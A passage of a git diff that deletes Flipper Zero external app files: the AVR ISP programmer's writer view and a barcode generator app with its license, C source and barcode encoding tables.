avr_isp_reader_view_get_view(AvrIspReaderView* instance); - -void avr_isp_reader_view_exit(void* context); diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.c b/applications/external/avr_isp_programmer/views/avr_isp_view_writer.c deleted file mode 100644 index a06b78535..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.c +++ /dev/null @@ -1,268 +0,0 @@ -#include "avr_isp_view_writer.h" -#include - -#include "../helpers/avr_isp_worker_rw.h" -#include - -struct AvrIspWriterView { - View* view; - AvrIspWorkerRW* avr_isp_worker_rw; - const char* file_path; - const char* file_name; - AvrIspWriterViewCallback callback; - void* context; -}; - -typedef struct { - AvrIspWriterViewStatus status; - float progress_flash; - float progress_eeprom; -} AvrIspWriterViewModel; - -void avr_isp_writer_update_progress(AvrIspWriterView* instance) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - model->progress_flash = - avr_isp_worker_rw_get_progress_flash(instance->avr_isp_worker_rw); - model->progress_eeprom = - avr_isp_worker_rw_get_progress_eeprom(instance->avr_isp_worker_rw); - }, - true); -} - -void avr_isp_writer_view_set_callback( - AvrIspWriterView* instance, - AvrIspWriterViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_writer_set_file_path( - AvrIspWriterView* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; -} - -void avr_isp_writer_view_draw(Canvas* canvas, AvrIspWriterViewModel* model) { - canvas_clear(canvas); - char str_flash[32] = {0}; - char str_eeprom[32] = {0}; - - canvas_set_font(canvas, FontPrimary); - - switch(model->status) { - case AvrIspWriterViewStatusIDLE: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Press start to write"); - canvas_set_font(canvas, FontSecondary); - elements_button_center(canvas, "Start"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - break; - case AvrIspWriterViewStatusWriting: - if(float_is_equal(model->progress_flash, 0.f)) { - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Verifying firmware"); - snprintf(str_flash, sizeof(str_flash), "***"); - snprintf(str_eeprom, sizeof(str_eeprom), "***"); - } else { - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Writing dump"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf( - str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - } - break; - case AvrIspWriterViewStatusVerification: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Verifying dump"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - break; - case AvrIspWriterViewStatusWritingFuse: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Writing fuse"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - break; - case AvrIspWriterViewStatusWritingFuseOk: - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignCenter, "Done!"); - snprintf(str_flash, sizeof(str_flash), "%d%%", (uint8_t)(model->progress_flash * 100)); - snprintf(str_eeprom, sizeof(str_eeprom), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - canvas_set_font(canvas, FontSecondary); - elements_button_center(canvas, "Reflash"); - elements_button_right(canvas, "Exit"); - break; - - default: - break; - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 27, "Flash"); - // snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_flash * 100)); - elements_progress_bar_with_text(canvas, 44, 17, 84, model->progress_flash, str_flash); - canvas_draw_str(canvas, 0, 43, "EEPROM"); - // snprintf(str_buf, sizeof(str_buf), "%d%%", (uint8_t)(model->progress_eeprom * 100)); - elements_progress_bar_with_text(canvas, 44, 34, 84, model->progress_eeprom, str_eeprom); -} - -bool avr_isp_writer_view_input(InputEvent* event, void* context) { - furi_assert(context); - AvrIspWriterView* instance = context; - - bool ret = true; - if(event->key == InputKeyBack && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - if((model->status == AvrIspWriterViewStatusIDLE) || - (model->status == AvrIspWriterViewStatusWritingFuseOk)) { - if(instance->callback) - instance->callback(AvrIspCustomEventSceneExit, instance->context); - ret = false; - } - }, - false); - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - if((model->status == AvrIspWriterViewStatusIDLE) || - (model->status == AvrIspWriterViewStatusWritingFuseOk)) { - model->status = AvrIspWriterViewStatusWriting; - - avr_isp_worker_rw_write_dump_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - } - }, - false); - } else if(event->key == InputKeyRight && event->type == InputTypeShort) { - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - if((model->status == AvrIspWriterViewStatusIDLE) || - (model->status == AvrIspWriterViewStatusWritingFuseOk)) { - if(instance->callback) - instance->callback(AvrIspCustomEventSceneExitStartMenu, instance->context); - ret = false; - } - }, - false); - } - return ret; -} - -static void avr_isp_writer_callback_status(void* context, AvrIspWorkerRWStatus status) { - furi_assert(context); - - AvrIspWriterView* instance = context; - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - switch(status) { - case AvrIspWorkerRWStatusEndWriting: - model->status = AvrIspWriterViewStatusVerification; - avr_isp_worker_rw_verification_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - model->status = AvrIspWriterViewStatusVerification; - break; - case AvrIspWorkerRWStatusErrorVerification: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorVerification, instance->context); - break; - case AvrIspWorkerRWStatusEndVerification: - avr_isp_worker_rw_write_fuse_start( - instance->avr_isp_worker_rw, instance->file_path, instance->file_name); - model->status = AvrIspWriterViewStatusWritingFuse; - break; - case AvrIspWorkerRWStatusErrorWritingFuse: - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorWritingFuse, instance->context); - break; - case AvrIspWorkerRWStatusEndWritingFuse: - model->status = AvrIspWriterViewStatusWritingFuseOk; - break; - - default: - //AvrIspWorkerRWStatusErrorWriting; - if(instance->callback) - instance->callback(AvrIspCustomEventSceneErrorWriting, instance->context); - break; - } - }, - true); -} - -void avr_isp_writer_view_enter(void* context) { - furi_assert(context); - - AvrIspWriterView* instance = context; - with_view_model( - instance->view, - AvrIspWriterViewModel * model, - { - model->status = AvrIspWriterViewStatusIDLE; - model->progress_flash = 0.0f; - model->progress_eeprom = 0.0f; - }, - true); - - //Start avr_isp_worker_rw - instance->avr_isp_worker_rw = avr_isp_worker_rw_alloc(instance->context); - - avr_isp_worker_rw_set_callback_status( - instance->avr_isp_worker_rw, avr_isp_writer_callback_status, instance); - - avr_isp_worker_rw_start(instance->avr_isp_worker_rw); -} - -void avr_isp_writer_view_exit(void* context) { - furi_assert(context); - AvrIspWriterView* instance = context; - - //Stop avr_isp_worker_rw - if(avr_isp_worker_rw_is_running(instance->avr_isp_worker_rw)) { - avr_isp_worker_rw_stop(instance->avr_isp_worker_rw); - } - - avr_isp_worker_rw_free(instance->avr_isp_worker_rw); -} - -AvrIspWriterView* avr_isp_writer_view_alloc() { - AvrIspWriterView* instance = malloc(sizeof(AvrIspWriterView)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(AvrIspWriterViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)avr_isp_writer_view_draw); - view_set_input_callback(instance->view, avr_isp_writer_view_input); - view_set_enter_callback(instance->view, avr_isp_writer_view_enter); - view_set_exit_callback(instance->view, avr_isp_writer_view_exit); - - return instance; -} - -void avr_isp_writer_view_free(AvrIspWriterView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* avr_isp_writer_view_get_view(AvrIspWriterView* instance) { - furi_assert(instance); - - return instance->view; -} diff --git a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.h b/applications/external/avr_isp_programmer/views/avr_isp_view_writer.h deleted file mode 100644 index 1ff728387..000000000 --- a/applications/external/avr_isp_programmer/views/avr_isp_view_writer.h +++ /dev/null @@ -1,37 +0,0 @@ -#pragma once - -#include -#include "../helpers/avr_isp_types.h" -#include "../helpers/avr_isp_event.h" - -typedef struct AvrIspWriterView AvrIspWriterView; - -typedef void (*AvrIspWriterViewCallback)(AvrIspCustomEvent event, void* context); - -typedef enum { - AvrIspWriterViewStatusIDLE, - AvrIspWriterViewStatusWriting, - AvrIspWriterViewStatusVerification, - AvrIspWriterViewStatusWritingFuse, - AvrIspWriterViewStatusWritingFuseOk, -} AvrIspWriterViewStatus; - -void avr_isp_writer_update_progress(AvrIspWriterView* instance); - -void avr_isp_writer_set_file_path( - AvrIspWriterView* instance, - const char* file_path, - const char* file_name); - -void avr_isp_writer_view_set_callback( - AvrIspWriterView* instance, - AvrIspWriterViewCallback callback, - void* context); - -AvrIspWriterView* avr_isp_writer_view_alloc(); - -void avr_isp_writer_view_free(AvrIspWriterView* instance); - -View* avr_isp_writer_view_get_view(AvrIspWriterView* instance); - -void avr_isp_writer_view_exit(void* context); diff --git a/applications/external/barcode_gen/LICENSE b/applications/external/barcode_gen/LICENSE deleted file mode 100644 index 4c02d8221..000000000 --- a/applications/external/barcode_gen/LICENSE +++ /dev/null @@ -1,22 +0,0 @@ - -MIT License - -Copyright (c) 2023 Alan Tsui - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/applications/external/barcode_gen/application.fam b/applications/external/barcode_gen/application.fam deleted file mode 100644 index dad2b30cf..000000000 --- a/applications/external/barcode_gen/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="barcode_app", - name="Barcode", - apptype=FlipperAppType.EXTERNAL, - entry_point="barcode_main", - requires=["gui", "storage"], - stack_size=2 * 1024, - fap_category="Tools", - fap_icon="images/barcode_10.png", - fap_icon_assets="images", - fap_file_assets="barcode_encoding_files", - fap_author="@Kingal1337", - fap_weburl="https://github.com/Kingal1337/flipper-barcode-generator", - fap_version="1.1", - fap_description="App allows you to display various barcodes on flipper screen", -) diff --git a/applications/external/barcode_gen/barcode_app.c b/applications/external/barcode_gen/barcode_app.c deleted file mode 100644 index aff437f2e..000000000 --- a/applications/external/barcode_gen/barcode_app.c +++ /dev/null @@ -1,349 +0,0 @@ -#include "barcode_app.h" - -#include "barcode_app_icons.h" -#include - -/** - * Opens a file browser dialog and returns the filepath of the selected file - * - * @param folder the folder to view when the browser opens - * @param file_path a string pointer for the file_path when a file is selected, - * file_path will be the folder path is nothing is selected - * @returns true if a file is selected -*/ -static bool select_file(const char* folder, FuriString* file_path) { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, "", &I_barcode_10); - browser_options.base_path = DEFAULT_USER_BARCODES; - furi_string_set(file_path, folder); - - bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); - - furi_record_close(RECORD_DIALOGS); - - return res; -} - -/** - * Reads the data from a file and stores them in the FuriStrings raw_type and raw_data -*/ -ErrorCode read_raw_data(FuriString* file_path, FuriString* raw_type, FuriString* raw_data) { - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - ErrorCode reason = OKCode; - - if(!flipper_format_file_open_existing(ff, furi_string_get_cstr(file_path))) { - FURI_LOG_E(TAG, "Could not open file %s", furi_string_get_cstr(file_path)); - reason = FileOpening; - } else { - if(!flipper_format_read_string(ff, "Type", raw_type)) { - FURI_LOG_E(TAG, "Could not read \"Type\" string"); - reason = InvalidFileData; - } - if(!flipper_format_read_string(ff, "Data", raw_data)) { - FURI_LOG_E(TAG, "Could not read \"Data\" string"); - reason = InvalidFileData; - } - } - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - return reason; -} - -/** - * Gets the file name from a file path - * @param file_path the file path - * @param file_name the FuriString to store the file name - * @param remove_extension true if the extension should be removed, otherwise false -*/ -bool get_file_name_from_path(FuriString* file_path, FuriString* file_name, bool remove_extension) { - if(file_path == NULL || file_name == NULL) { - return false; - } - uint32_t slash_index = furi_string_search_rchar(file_path, '/', 0); - if(slash_index == FURI_STRING_FAILURE || slash_index >= (furi_string_size(file_path) - 1)) { - return false; - } - - furi_string_set(file_name, file_path); - furi_string_right(file_name, slash_index + 1); - if(remove_extension) { - uint32_t ext_index = furi_string_search_rchar(file_name, '.', 0); - if(ext_index != FURI_STRING_FAILURE && ext_index < (furi_string_size(file_path))) { - furi_string_left(file_name, ext_index); - } - } - - return true; -} - -/** - * Creates the barcode folder -*/ -void init_folder() { - Storage* storage = furi_record_open(RECORD_STORAGE); - FURI_LOG_I(TAG, "Creating barcodes folder"); - if(storage_simply_mkdir(storage, DEFAULT_USER_BARCODES)) { - FURI_LOG_I(TAG, "Barcodes folder successfully created!"); - } else { - FURI_LOG_I(TAG, "Barcodes folder already exists."); - } - furi_record_close(RECORD_STORAGE); -} - -void select_barcode_item(BarcodeApp* app) { - FuriString* file_path = furi_string_alloc(); - FuriString* raw_type = furi_string_alloc(); - FuriString* raw_data = furi_string_alloc(); - - //this determines if the data was read correctly or if the - bool loaded_success = true; - ErrorCode reason = OKCode; - - bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); - if(file_selected) { - FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); - Barcode* barcode = app->barcode_view; - - reason = read_raw_data(file_path, raw_type, raw_data); - if(reason != OKCode) { - loaded_success = false; - FURI_LOG_E(TAG, "Could not read data correctly"); - } - - //Free the data from the previous barcode - barcode_free_model(barcode); - - with_view_model( - barcode->view, - BarcodeModel * model, - { - model->file_path = furi_string_alloc_set(file_path); - - model->data = malloc(sizeof(BarcodeData)); - model->data->valid = loaded_success; - - if(loaded_success) { - model->data->raw_data = furi_string_alloc_set(raw_data); - model->data->correct_data = furi_string_alloc(); - - model->data->type_obj = get_type(raw_type); - - barcode_loader(model->data); - } else { - model->data->reason = reason; - } - }, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, BarcodeView); - } - - furi_string_free(raw_type); - furi_string_free(raw_data); - furi_string_free(file_path); -} - -void edit_barcode_item(BarcodeApp* app) { - FuriString* file_path = furi_string_alloc(); - FuriString* file_name = furi_string_alloc(); - FuriString* raw_type = furi_string_alloc(); - FuriString* raw_data = furi_string_alloc(); - - //this determines if the data was read correctly or if the - ErrorCode reason = OKCode; - - bool file_selected = select_file(DEFAULT_USER_BARCODES, file_path); - if(file_selected) { - FURI_LOG_I(TAG, "The file selected is %s", furi_string_get_cstr(file_path)); - CreateView* create_view_object = app->create_view; - - reason = read_raw_data(file_path, raw_type, raw_data); - if(reason != OKCode) { - FURI_LOG_E(TAG, "Could not read data correctly"); - with_view_model( - app->message_view->view, - MessageViewModel * model, - { model->message = get_error_code_message(reason); }, - true); - - view_dispatcher_switch_to_view( - create_view_object->barcode_app->view_dispatcher, MessageErrorView); - - } else { - BarcodeTypeObj* type_obj = get_type(raw_type); - if(type_obj->type == UNKNOWN) { - type_obj = barcode_type_objs[0]; - } - get_file_name_from_path(file_path, file_name, true); - - create_view_free_model(create_view_object); - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - model->selected_menu_item = 0; - model->barcode_type = type_obj; - model->file_path = furi_string_alloc_set(file_path); - model->file_name = furi_string_alloc_set(file_name); - model->barcode_data = furi_string_alloc_set(raw_data); - model->mode = EditMode; - }, - true); - view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); - } - } - - furi_string_free(raw_type); - furi_string_free(raw_data); - furi_string_free(file_name); - furi_string_free(file_path); -} - -void create_barcode_item(BarcodeApp* app) { - CreateView* create_view_object = app->create_view; - - create_view_free_model(create_view_object); - - with_view_model( - create_view_object->view, - CreateViewModel * model, - { - model->selected_menu_item = 0; - model->barcode_type = barcode_type_objs[0]; - model->file_path = furi_string_alloc(); - model->file_name = furi_string_alloc(); - model->barcode_data = furi_string_alloc(); - model->mode = NewMode; - }, - true); - view_dispatcher_switch_to_view(app->view_dispatcher, CreateBarcodeView); -} - -void submenu_callback(void* context, uint32_t index) { - furi_assert(context); - - BarcodeApp* app = context; - - if(index == SelectBarcodeItem) { - select_barcode_item(app); - } else if(index == EditBarcodeItem) { - edit_barcode_item(app); - } else if(index == CreateBarcodeItem) { - create_barcode_item(app); - } -} - -uint32_t create_view_callback(void* context) { - UNUSED(context); - return CreateBarcodeView; -} - -uint32_t main_menu_callback(void* context) { - UNUSED(context); - return MainMenuView; -} - -uint32_t exit_callback(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -void free_app(BarcodeApp* app) { - FURI_LOG_I(TAG, "Freeing Data"); - - init_folder(); - free_types(); - - view_dispatcher_remove_view(app->view_dispatcher, TextInputView); - text_input_free(app->text_input); - - view_dispatcher_remove_view(app->view_dispatcher, MessageErrorView); - message_view_free(app->message_view); - - view_dispatcher_remove_view(app->view_dispatcher, MainMenuView); - submenu_free(app->main_menu); - - view_dispatcher_remove_view(app->view_dispatcher, CreateBarcodeView); - create_view_free(app->create_view); - - view_dispatcher_remove_view(app->view_dispatcher, BarcodeView); - barcode_free(app->barcode_view); - - //free the dispatcher - view_dispatcher_free(app->view_dispatcher); - - furi_message_queue_free(app->event_queue); - - furi_record_close(RECORD_GUI); - app->gui = NULL; - - free(app); -} - -int32_t barcode_main(void* p) { - UNUSED(p); - BarcodeApp* app = malloc(sizeof(BarcodeApp)); - init_types(); - app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - // Register view port in GUI - app->gui = furi_record_open(RECORD_GUI); - - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->main_menu = submenu_alloc(); - submenu_add_item(app->main_menu, "Load Barcode", SelectBarcodeItem, submenu_callback, app); - view_set_previous_callback(submenu_get_view(app->main_menu), exit_callback); - view_dispatcher_add_view(app->view_dispatcher, MainMenuView, submenu_get_view(app->main_menu)); - - submenu_add_item(app->main_menu, "Edit Barcode", EditBarcodeItem, submenu_callback, app); - - /***************************** - * Creating Text Input View - ******************************/ - app->text_input = text_input_alloc(); - view_set_previous_callback(text_input_get_view(app->text_input), create_view_callback); - view_dispatcher_add_view( - app->view_dispatcher, TextInputView, text_input_get_view(app->text_input)); - - /***************************** - * Creating Message View - ******************************/ - app->message_view = message_view_allocate(app); - view_dispatcher_add_view( - app->view_dispatcher, MessageErrorView, message_get_view(app->message_view)); - - /***************************** - * Creating Create View - ******************************/ - app->create_view = create_view_allocate(app); - submenu_add_item(app->main_menu, "Create Barcode", CreateBarcodeItem, submenu_callback, app); - view_set_previous_callback(create_get_view(app->create_view), main_menu_callback); - view_dispatcher_add_view( - app->view_dispatcher, CreateBarcodeView, create_get_view(app->create_view)); - - /***************************** - * Creating Barcode View - ******************************/ - app->barcode_view = barcode_view_allocate(app); - view_set_previous_callback(barcode_get_view(app->barcode_view), main_menu_callback); - view_dispatcher_add_view( - app->view_dispatcher, BarcodeView, barcode_get_view(app->barcode_view)); - - //switch view to submenu and run dispatcher - view_dispatcher_switch_to_view(app->view_dispatcher, MainMenuView); - view_dispatcher_run(app->view_dispatcher); - - free_app(app); - - return 0; -} diff --git a/applications/external/barcode_gen/barcode_app.h b/applications/external/barcode_gen/barcode_app.h deleted file mode 100644 index bddc82235..000000000 --- a/applications/external/barcode_gen/barcode_app.h +++ /dev/null @@ -1,88 +0,0 @@ -#pragma once -#include -#include - -#include -#include -#include -#include -#include -#include -#include - -#include - -#include "barcode_utils.h" - -#define TAG "BARCODE" -#define VERSION "1.1" -#define FILE_VERSION "1" - -#define TEXT_BUFFER_SIZE 128 - -#define BARCODE_HEIGHT 50 -#define BARCODE_Y_START 3 - -//the folder where the codabar encoding table is located -#define CODABAR_DICT_FILE_PATH APP_ASSETS_PATH("codabar_encodings.txt") - -//the folder where the code 39 encoding table is located -#define CODE39_DICT_FILE_PATH APP_ASSETS_PATH("code39_encodings.txt") - -//the folder where the code 128 encoding table is located -#define CODE128_DICT_FILE_PATH APP_ASSETS_PATH("code128_encodings.txt") - -//the folder where the code 128 C encoding table is located -#define CODE128C_DICT_FILE_PATH APP_ASSETS_PATH("code128c_encodings.txt") - -//the folder where the user stores their barcodes -#define DEFAULT_USER_BARCODES EXT_PATH("apps_data/barcodes") - -//The extension barcode files use -#define BARCODE_EXTENSION ".txt" -#define BARCODE_EXTENSION_LENGTH 4 - -#include "views/barcode_view.h" -#include "views/create_view.h" -#include "views/message_view.h" -#include "barcode_validator.h" - -typedef struct BarcodeApp BarcodeApp; - -struct BarcodeApp { - Submenu* main_menu; - ViewDispatcher* view_dispatcher; - Gui* gui; - - FuriMessageQueue* event_queue; - - CreateView* create_view; - Barcode* barcode_view; - - MessageView* message_view; - TextInput* text_input; -}; - -enum SubmenuItems { - SelectBarcodeItem, - EditBarcodeItem, - - CreateBarcodeItem -}; - -enum Views { - TextInputView, - MessageErrorView, - MainMenuView, - CreateBarcodeView, - - BarcodeView -}; - -void submenu_callback(void* context, uint32_t index); - -uint32_t main_menu_callback(void* context); - -uint32_t exit_callback(void* context); - -int32_t barcode_main(void* p); diff --git a/applications/external/barcode_gen/barcode_encoding_files/codabar_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/codabar_encodings.txt deleted file mode 100644 index 5f0684cbd..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/codabar_encodings.txt +++ /dev/null @@ -1,22 +0,0 @@ -# alternates between bars and spaces, always begins with bar -# 0 for narrow, 1 for wide -0: 0000011 -1: 0000110 -2: 0001001 -3: 1100000 -4: 0010010 -5: 1000010 -6: 0100001 -7: 0100100 -8: 0110000 -9: 1001000 --: 0001100 -$: 0011000 -:: 1000101 -/: 1010001 -.: 1010100 -+: 0010101 -A: 0011010 -B: 0101001 -C: 0001011 -D: 0001110 \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_encoding_files/code128_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/code128_encodings.txt deleted file mode 100644 index 394a34520..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/code128_encodings.txt +++ /dev/null @@ -1,202 +0,0 @@ - : 00 -!: 01 -": 02 -#: 03 -$: 04 -%: 05 -&: 06 -': 07 -(: 08 -): 09 -*: 10 -+: 11 -,: 12 --: 13 -.: 14 -/: 15 -0: 16 -1: 17 -2: 18 -3: 19 -4: 20 -5: 21 -6: 22 -7: 23 -8: 24 -9: 25 -:: 26 -;: 27 -<: 28 -=: 29 ->: 30 -?: 31 -@: 32 -A: 33 -B: 34 -C: 35 -D: 36 -E: 37 -F: 38 -G: 39 -H: 40 -I: 41 -J: 42 -K: 43 -L: 44 -M: 45 -N: 46 -O: 47 -P: 48 -Q: 49 -R: 50 -S: 51 -T: 52 -U: 53 -V: 54 -W: 55 -X: 56 -Y: 57 -Z: 58 -[: 59 -\: 60 -]: 61 -^: 62 -_: 63 -`: 64 -a: 65 -b: 66 -c: 67 -d: 68 -e: 69 -f: 70 -g: 71 -h: 72 -i: 73 -j: 74 -k: 75 -l: 76 -m: 77 -n: 78 -o: 79 -p: 80 -q: 81 -r: 82 -s: 83 -t: 84 -u: 85 -v: 86 -w: 87 -x: 88 -y: 89 -z: 90 -{: 91 -|: 92 -}: 93 -~: 94 - -00: 11011001100 -01: 11001101100 -02: 11001100110 -03: 10010011000 -04: 10010001100 -05: 10001001100 -06: 10011001000 -07: 10011000100 -08: 10001100100 -09: 11001001000 -10: 11001000100 -11: 11000100100 -12: 10110011100 -13: 10011011100 -14: 10011001110 -15: 10111001100 -16: 10011101100 -17: 10011100110 -18: 11001110010 -19: 11001011100 -20: 11001001110 -21: 11011100100 -22: 11001110100 -23: 11101101110 -24: 11101001100 -25: 11100101100 -26: 11100100110 -27: 11101100100 -28: 11100110100 -29: 11100110010 -30: 11011011000 -31: 11011000110 -32: 11000110110 -33: 10100011000 -34: 10001011000 -35: 10001000110 -36: 10110001000 -37: 10001101000 -38: 10001100010 -39: 11010001000 -40: 11000101000 -41: 11000100010 -42: 10110111000 -43: 10110001110 -44: 10001101110 -45: 10111011000 -46: 10111000110 -47: 10001110110 -48: 11101110110 -49: 11010001110 -50: 11000101110 -51: 11011101000 -52: 11011100010 -53: 11011101110 -54: 11101011000 -55: 11101000110 -56: 11100010110 -57: 11101101000 -58: 11101100010 -59: 11100011010 -60: 11101111010 -61: 11001000010 -62: 11110001010 -63: 10100110000 -64: 10100001100 -65: 10010110000 -66: 10010000110 -67: 10000101100 -68: 10000100110 -69: 10110010000 -70: 10110000100 -71: 10011010000 -72: 10011000010 -73: 10000110100 -74: 10000110010 -75: 11000010010 -76: 11001010000 -77: 11110111010 -78: 11000010100 -79: 10001111010 -80: 10100111100 -81: 10010111100 -82: 10010011110 -83: 10111100100 -84: 10011110100 -85: 10011110010 -86: 11110100100 -87: 11110010100 -88: 11110010010 -89: 11011011110 -90: 11011110110 -91: 11110110110 -92: 10101111000 -93: 10100011110 -94: 10001011110 -95: 10111101000 -96: 10111100010 -97: 11110101000 -98: 11110100010 -99: 10111011110 -100: 10111101110 -101: 11101011110 -102: 11110101110 -103: 11010000100 -104: 11010010000 -105: 11010011100 \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_encoding_files/code128c_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/code128c_encodings.txt deleted file mode 100644 index 75cc71135..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/code128c_encodings.txt +++ /dev/null @@ -1,106 +0,0 @@ -00: 11011001100 -01: 11001101100 -02: 11001100110 -03: 10010011000 -04: 10010001100 -05: 10001001100 -06: 10011001000 -07: 10011000100 -08: 10001100100 -09: 11001001000 -10: 11001000100 -11: 11000100100 -12: 10110011100 -13: 10011011100 -14: 10011001110 -15: 10111001100 -16: 10011101100 -17: 10011100110 -18: 11001110010 -19: 11001011100 -20: 11001001110 -21: 11011100100 -22: 11001110100 -23: 11101101110 -24: 11101001100 -25: 11100101100 -26: 11100100110 -27: 11101100100 -28: 11100110100 -29: 11100110010 -30: 11011011000 -31: 11011000110 -32: 11000110110 -33: 10100011000 -34: 10001011000 -35: 10001000110 -36: 10110001000 -37: 10001101000 -38: 10001100010 -39: 11010001000 -40: 11000101000 -41: 11000100010 -42: 10110111000 -43: 10110001110 -44: 10001101110 -45: 10111011000 -46: 10111000110 -47: 10001110110 -48: 11101110110 -49: 11010001110 -50: 11000101110 -51: 11011101000 -52: 11011100010 -53: 11011101110 -54: 11101011000 -55: 11101000110 -56: 11100010110 -57: 11101101000 -58: 11101100010 -59: 11100011010 -60: 11101111010 -61: 11001000010 -62: 11110001010 -63: 10100110000 -64: 10100001100 -65: 10010110000 -66: 10010000110 -67: 10000101100 -68: 10000100110 -69: 10110010000 -70: 10110000100 -71: 10011010000 -72: 10011000010 -73: 10000110100 -74: 10000110010 -75: 11000010010 -76: 11001010000 -77: 11110111010 -78: 11000010100 -79: 10001111010 -80: 10100111100 -81: 10010111100 -82: 10010011110 -83: 10111100100 -84: 10011110100 -85: 10011110010 -86: 11110100100 -87: 11110010100 -88: 11110010010 -89: 11011011110 -90: 11011110110 -91: 11110110110 -92: 10101111000 -93: 10100011110 -94: 10001011110 -95: 10111101000 -96: 10111100010 -97: 11110101000 -98: 11110100010 -99: 10111011110 -100: 10111101110 -101: 11101011110 -102: 11110101110 -103: 11010000100 -104: 11010010000 -105: 11010011100 diff --git a/applications/external/barcode_gen/barcode_encoding_files/code39_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/code39_encodings.txt deleted file mode 100644 index a41ad16e9..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/code39_encodings.txt +++ /dev/null @@ -1,44 +0,0 @@ -0: 000110100 -1: 100100001 -2: 001100001 -3: 101100000 -4: 000110001 -5: 100110000 -6: 001110000 -7: 000100101 -8: 100100100 -9: 001100100 -A: 100001001 -B: 001001001 -C: 101001000 -D: 000011001 -E: 100011000 -F: 001011000 -G: 000001101 -H: 100001100 -I: 001001100 -J: 000011100 -K: 100000011 -L: 001000011 -M: 101000010 -N: 000010011 -O: 100010010 -P: 001010010 -Q: 000000111 -R: 100000110 